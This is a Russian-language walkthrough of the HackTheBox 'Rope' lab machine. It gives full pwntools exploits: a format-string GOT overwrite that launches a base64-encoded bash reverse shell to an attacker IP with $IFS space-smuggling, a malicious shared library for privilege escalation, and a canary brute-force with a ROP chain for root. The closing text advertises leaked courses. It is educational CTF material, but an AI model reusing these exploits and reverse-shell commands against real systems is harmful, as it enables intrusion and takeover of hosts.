![image](https://habrastorage.org/webt/cl/ci/gs/clcigsntltvnbkltsfgppni4t0u.png)
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.
В данной статье собираем много много pwn, которые будем решать средствами pwntools. Думаю будет полезно читателям с любым уровнем осведомленности в данной теме. Поехали…
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.148, который я добавляю в /etc/hosts.
10.10.10.148 rope.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500
![image](https://habrastorage.org/webt/xf/d7/5k/xfd75kcmf_acjvyqtaprv-sc6bo.png)
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A rope.htb -p22,9999
![image](https://habrastorage.org/webt/sd/tk/c3/sdtkc3orydw9_76o6c3gwryhlhc.png)
На хосте работают службы SSH и веб-сервер. Зайдем на веб, и нас встретит форма авторизации.
![image](https://habrastorage.org/webt/-h/zo/lz/-hzolzjpvg00y1l3v1y1mbnqpv8.png)
При просмотре сканировании директорий, получаем не идексированную директорию / (http://rope.htb:9999//).
![image](https://habrastorage.org/webt/79/jd/ix/79jdixhqpjhqhs0rsdkqg-hpluc.png)
И в директории /opt/www находим исполняемый файл — это и есть наш веб-сервер.
![image](https://habrastorage.org/webt/ey/qz/fj/eyqzfjlf98744atrwnzsj3wsjsk.png)
HTTPserver PWN
Скачаем его и посмотрим, какая есть защита с помощью checksec.
![image](https://habrastorage.org/webt/ch/xe/hx/chxehxx1ao9zlo9pk1wbttlrif8.png)
Таким образом, мы имеем 32-х битное приложение со всеми активированными защитами, а именно:
- Бит NX (not execute) — это технология, используемая в ЦП, которая гарантирует, что некоторые области памяти (такие как стек и куча) не могут быть выполнены, а другие, такие как раздел кода, не могут быть записаны. Это мешает нам записывать шеллкод в стек и выполнять его.
- ASLR: в основном рандомизирует базу библиотек (libc), так что мы не можем знать адрес памяти функций libc. Это мешает атакам типа ret2libc.
- PIE: этот метод, как и ASLR, рандомизирует базовый адрес, но из самого двоичного файла. Это затрудняет нам использование гаджетов или функций исполняемого файла.
- Canary: обычно случайное значение, генерируется при инициализации программы и вставляется в конец области, где переполняется стек. В конце функции проверяется, было ли изменено значение канареек. Мешает выполнить переполнение и перезаписать адрес.
Благодаря тому, что мы можем читать файлы на сервере, мы можем прочитать карту процесса данного исполняемого файла. Это даст нам ответ на следующие вопросы:
- По какому адресу загружена сама программа?
- И по какому адресу, загружены используемые ей библиотеки?
Давайте сделаем это.
curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'
![image](https://habrastorage.org/webt/ex/gp/v4/exgpv4as7ucyftbf6qpqxglysbc.png)
Таким образом, мы имеем два адреса: 0x56558000 и f7ddc000. При этом мы получаем путь к используемой libc библиотеки, скачаем ее тоже. Теперь с учетом всего найденного сделаем шаблон эксплоита.
from pwn import *
import urllib
import base64
host = 'rope.htb'
port = 9999
context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000
libc_base = 0xf7ddc000
А теперь откроем сам файл для анализа в удобном для вас дизассемблере (с декомпилятором). Я использую IDA с кучей плагинов, и перед тем как засесть за глубокий анализ, предпочитаю посмотреть все, что мне могу собрать проверенные плагины. Один из множества таких — LazyIDA. И на запрос “scan format string vuln” получим табличку с потенциально уязвимыми функциями.
![image](https://habrastorage.org/webt/ab/85/3d/ab853dd56ri3loneyejkce4snvm.png)
По опыту использования данного плагина, я сразу обратил внимание на вторую строку (на ее параметр формат). Переходим на место использования данной функции и декомпилируем ее.
![image](https://habrastorage.org/webt/_7/iw/sg/_7iwsgc6cxf0rrpe3ruaoyolobi.png)
И догадки подтверждены, строка просто передается в функцию printf. Давайте выясним, что это за строка. Перейдем на место вызова функции log_access.
![image](https://habrastorage.org/webt/0n/vr/1q/0nvr1qtnll7c_hab2jrqo-5fvdm.png)
Так нас интересует третий параметр, который был помечем IDA как file. И ответы на все вопросы мы получаем только лишь посмотрев перекрестные ссылки на данную переменную.
![image](https://habrastorage.org/webt/_s/i9/78/_si978isulkh-jme2gznkjftp98.png)
Таким образом, это указатель на строку — имя файла, который открывается для чтения. Так как данная переменная является результатом выполнения функции parse_request(), файл открывается для чтения, а вся программа представляет из себя веб-сервер, можно предположить, что это запрашиваемая на сервере страница.
curl http://127.0.0.1:9999/qwerty
![image](https://habrastorage.org/webt/q9/xm/_z/q9xm_zyx9s78gbl0j8zzuf-mdns.png)
Давайте проверим уязвимость форматной строки.
curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')
![image](https://habrastorage.org/webt/cx/aq/73/cxaq731ejafj-dkjyg6kuliy1o0.png)
Отлично! Давайте определим смещение (сколько спецификаторов %p нужно отправить, чтобы в конце вывода получить 0x41414141 — AAAA).
![image](https://habrastorage.org/webt/2i/lm/xr/2ilmxraso--gzeo2jqfwhwdtvom.png)
Получаем 53. Проверим, что все верно.
curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')
![image](https://habrastorage.org/webt/bl/dm/mg/bldmmgl809qsxgxdds44phkyqqi.png)
Мы не можем получить локальный шелл, но можем выполнить команду, например кинуть реверс шелл:
bash -i >& /dev/tcp/10.10.15.60/4321 0>&1
Но чтобы избежать всяких неудобных символов, закодируем его в base64, тогда вызов шелла будет выглядеть так:
echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i
И в итоге заменим все пробелы на конструкцию $IFS. Получим команду, которую нужно выполнить для для получения бэкконнекта.
echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i
Давайте допишем это в код:
offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))
Теперь вернемся к нашей форматной строке. Так как после printf() вызывается puts, мы можем перезаписать ее адрес в GOT на адрес функции system из libc. Благодаря pwntools это очень легко сделать. Допустим, получить относительный адрес функции puts можно с помощью binary.got[‘puts’], также легко и с функцией system: libc.symbols[‘system’]. Про форматные строки и GOT подробно я описывал в статьях про pwn, поэтому здесь просто собираем форматную строку с помошью pwntools:
writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)
Собираем итоговую полезную нагрузку:
payload = shell + " /" + urllib.quote(format_string) + "\n\n"
Подключаемся и отправляем:
p = remote(host,port)
p.send(payload)
p.close()
Полный код выглядит так.
![image](https://habrastorage.org/webt/j7/tm/sa/j7tmsavnfi1jrlznbhrnylk1j2k.png)
Выполним код и получим бэкконнект.
![image](https://habrastorage.org/webt/54/xz/ko/54xzkogf-qq9btyjx9frthjmb3q.png)
![image](https://habrastorage.org/webt/of/_v/ku/of_vkulfppu97eeudtalu5ivxge.png)
USER
Проверим настойки sudo для выполнения команд без пароля.
![image](https://habrastorage.org/webt/5q/ai/0-/5qai0-4gkkxtn4o3vz9yk-pdu2o.png)
И видим, что можно выполнить readlogs от имени пользователя r4j. Уязвимости в приложении отсутствуют, GTFOBins тоже отсутствуют. Давайте посмотрим используемые приложением библиотеки.
![image](https://habrastorage.org/webt/b-/3i/-s/b-3i-sn8hhevvo4ger7j8gaiy7k.png)
ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"
![image](https://habrastorage.org/webt/eb/4e/rr/eb4errgawf8imvy0xmy_hgd-gta.png)
То есть мы можем писать в данные файлы. Давайте напишем свою библиотеку.
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
void printlog(){
setuid(0);
setgid(0);
system("/bin/sh");
}
Теперь компилируем ее.
gcc -c -Wall -Werror -fpic liblog.c
И собираем библиотеку.
Gcc -shared -o liblog.so liblog.o
После чего загружаем файл на хост, перезаписываем библиотеку и выполняем программу.
![image](https://habrastorage.org/webt/bk/n-/ci/bkn-ciaotw1id-emk87tv6anp1k.png)
Таким образом, мы берем пользователя.
ROOT
Для перечисления системы используем linpeas.
![image](https://habrastorage.org/webt/9k/nd/-k/9knd-k9gxwxz8hghzdwn7up8vbu.png)
Так на локалхосте прослушивается 1337 порт.
![image](https://habrastorage.org/webt/dz/xh/gs/dzxhgs3uf6d3jzmvdrfqpg0jsro.png)
Как можно заметить, наш пользователь входит в группу adm. Давайте глянем доступные для данной группы файлы.
![image](https://habrastorage.org/webt/39/jq/08/39jq08wmi0lzf8xb5b4hgkrwpay.png)
Есть интересный файл. И это та программа, что прослушивает порт.
![image](https://habrastorage.org/webt/u4/cf/up/u4cfuptixjubaydn3so9vv8iqnu.png)
При этом в приложение работает от имени root.
![image](https://habrastorage.org/webt/bn/l8/qn/bnl8qnuxwllqpudd8mcuzrtchn0.png)
Скачаем себе само приложение и используемую им библиотеку libc. И отметим, что на хосте активен ASLR.
![image](https://habrastorage.org/webt/ye/u2/91/yeu291nh107sotdzw9i5hxmyoww.png)
Проверим какую защиту имеет приложение.
![image](https://habrastorage.org/webt/lw/2q/0t/lw2q0t15j1qmapfuhy9oppeqkgg.png)
Все по максимуму. То есть, если мы найдем переполнение буфера, нам нужно будет брутить канарейку(значение, которое проверяется перед выходом из функции, чтобы проверить целостность буфера), а в качестве техники эксплуатации уязвимости будем использовать ROP (о котором я уже довольно подробно писал здесь). Откроем программу в любом удобном для вас дизассемблере с декомпилятором (я использую IDA Pro). Декомпилируем основную функцию main.
![image](https://habrastorage.org/webt/st/jx/lo/stjxlocl4sv3gh_6j8euvybdayq.png)
Примером канарейки служит переменна v10, которая устанавливается в начале функции. Посмотрим, за что отвечает функция sub_1267.
![image](https://habrastorage.org/webt/km/gi/aj/kmgiajki9-zlvdzxxfqaeqt2dn8.png)
Таким образом, здесь мы открываем порт для прослушивания. Можно переименовать ее в is_listen(); идем далее. Следующая пользовательская функция sub_14EE.
![image](https://habrastorage.org/webt/hn/mn/bn/hnmnbnmswumhkazbc6aysanetbc.png)
Перед отправкой присутствует еще одна пользовательская функция. Смотрим ее.
![image](https://habrastorage.org/webt/2d/7k/fb/2d7kfbhkjqnz8eidg8i95km_yey.png)
Таким образом, в данной функции принимается строка до 0x400 байт и записывается в буфер. В комментарии к переменной buf указан адрес относительно базы текущего кадра стека (rbp) — [rbp-40h], а переменная v3 (канарейка) имеет относительный адрес [rbp-8h], таким образом, для переполнения буфера, нам потребуется больше [rbp-8h] — [rbp-40h] = 0x40-8 = 56 байт.
Таким образом план следующий:
- найти и переполнить буфер;
- сбрутить канарейку, rbp и rip;
- так как активирован PIE, то нужно найти действительное смещение;
- найти утечку памяти для вычисления адреса, по которому загружена библиотека;
- Собрать ROP, в котором поток стандартных дескрипторов будет перенаправлен в сетевой дескриптор программы, после чего вызвать /bin/sh через функцию system.
1.Переполнение буфера
Как можно наблюдать ниже, при передаче 56 байт программа продолжает работать нормально, но передав 57 байт — получим исключение. Таким образом нарушена целостность буфера.
![image](https://habrastorage.org/webt/kc/pp/sl/kcppslliglpdyxf2v8ikppjoeqa.png)
Давайте сделаем шаблон эксплоита. Так как нужно будет много перебирать и переподключаться, то отключим вывод сообщений pwntools (log_level).
#!/usr/bin/python3
from pwn import *
HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')
pre_payload = "A" * 56
r = remote(HOST, PORT)
context.log_level='info'
r.interactive()
2.Canary, RBP, RIP
Как мы разобрались, после 56 байт буфера идет канарейка, а после нее в стеке расположены адреса RBP и RIP, которые также нужно перебрать. Давайте напишем функцию подбора 8 байт.
def qword_brute(pre_payload, item):
qword_ = b""
while len(qword_) < 8:
for b in range(256):
byte = bytes([b])
try:
r = remote(HOST, PORT)
print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
send_ = pre_payload + qword_ + byte
r.sendafter(b"admin:", send_)
if b"Done" not in r.recvall(timeout=5):
raise EOFError
r.close()
qword_ += byte
break
except EOFError as error:
r.close()
context.log_level='info'
log.success(f"{item} found: {hex(u64(qword_))}")
context.log_level='error'
return qword_
Таким образом мы можем составить pre_payload:
pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")
3.PIE
Теперь давайте разберемся с PIE. Мы нашли RIP — это адрес возврата, куда мы возвращаемся из функции. Таким образом, мы можем вычесть из него адрес возврата в коде.
![image](https://habrastorage.org/webt/te/t7/lu/tet7luif_rfxtdpgk8cw1a6wat8.png)
Таким образом смещение от базы равно 0x1562. Давайте укажем реальный адрес запущенного приложения.
base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')
4.Memory leak
В приложении для для вывода строки приглашения используется стандартная функция write(), которая принимает дескриптор для вывода, буфер и его размер. Мы можем использовать данную функцию.
Для удобства работы давайте воспользуемся модулем ROP из pwntools. Вкратце, как и почему это работает представлено на изображении ниже.
![image](https://habrastorage.org/webt/oh/md/bv/ohmdbvozmm5ve0zayx1imk5v-0a.png)
Давайте получим утечку, это позволит нам узнать по какому адресу находится функция write в загруженной библиотеке libc.
rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())
r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']
5.ROP
Давайте изменим базовый адрес библиотеки libc и найдем адрес строки /bin/sh.
libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))
Осталось собрать ROP, в котором будет перенаправление стандартных дескрипторов ввода/вывода (0,1,2) в дескриптор, зарегистрированный в программе (4). После чего произойдет вызов функции system, куда мы передадим адрес строки /bin/sh.
rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)
payload = pre_payload + flat(rop_libc.build())
r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")
6. Эксплуатация
Полный код эксплоита.
![image](https://habrastorage.org/webt/hm/ta/sd/hmtasdfdb2vvug5doqfdkfzeho4.png)
Теперь на сервере запишем ключ ssh в файл /home/r4j/.ssh/authorizef_keys.
![image](https://habrastorage.org/webt/ze/e2/7v/zee27vga9_skxu2ruepdreh0hxm.png)
И пробросим порт (сделаем так, чтобы соединение с локального порта 1337 перенаправлялось по SSH на порт 1337 удаленного хоста).
ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb
И запускаем эксплоит.
![image](https://habrastorage.org/webt/mv/cy/m5/mvcym58okghfhc1ngkz9oovt4-4.png)
Мы работаем под рутом.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.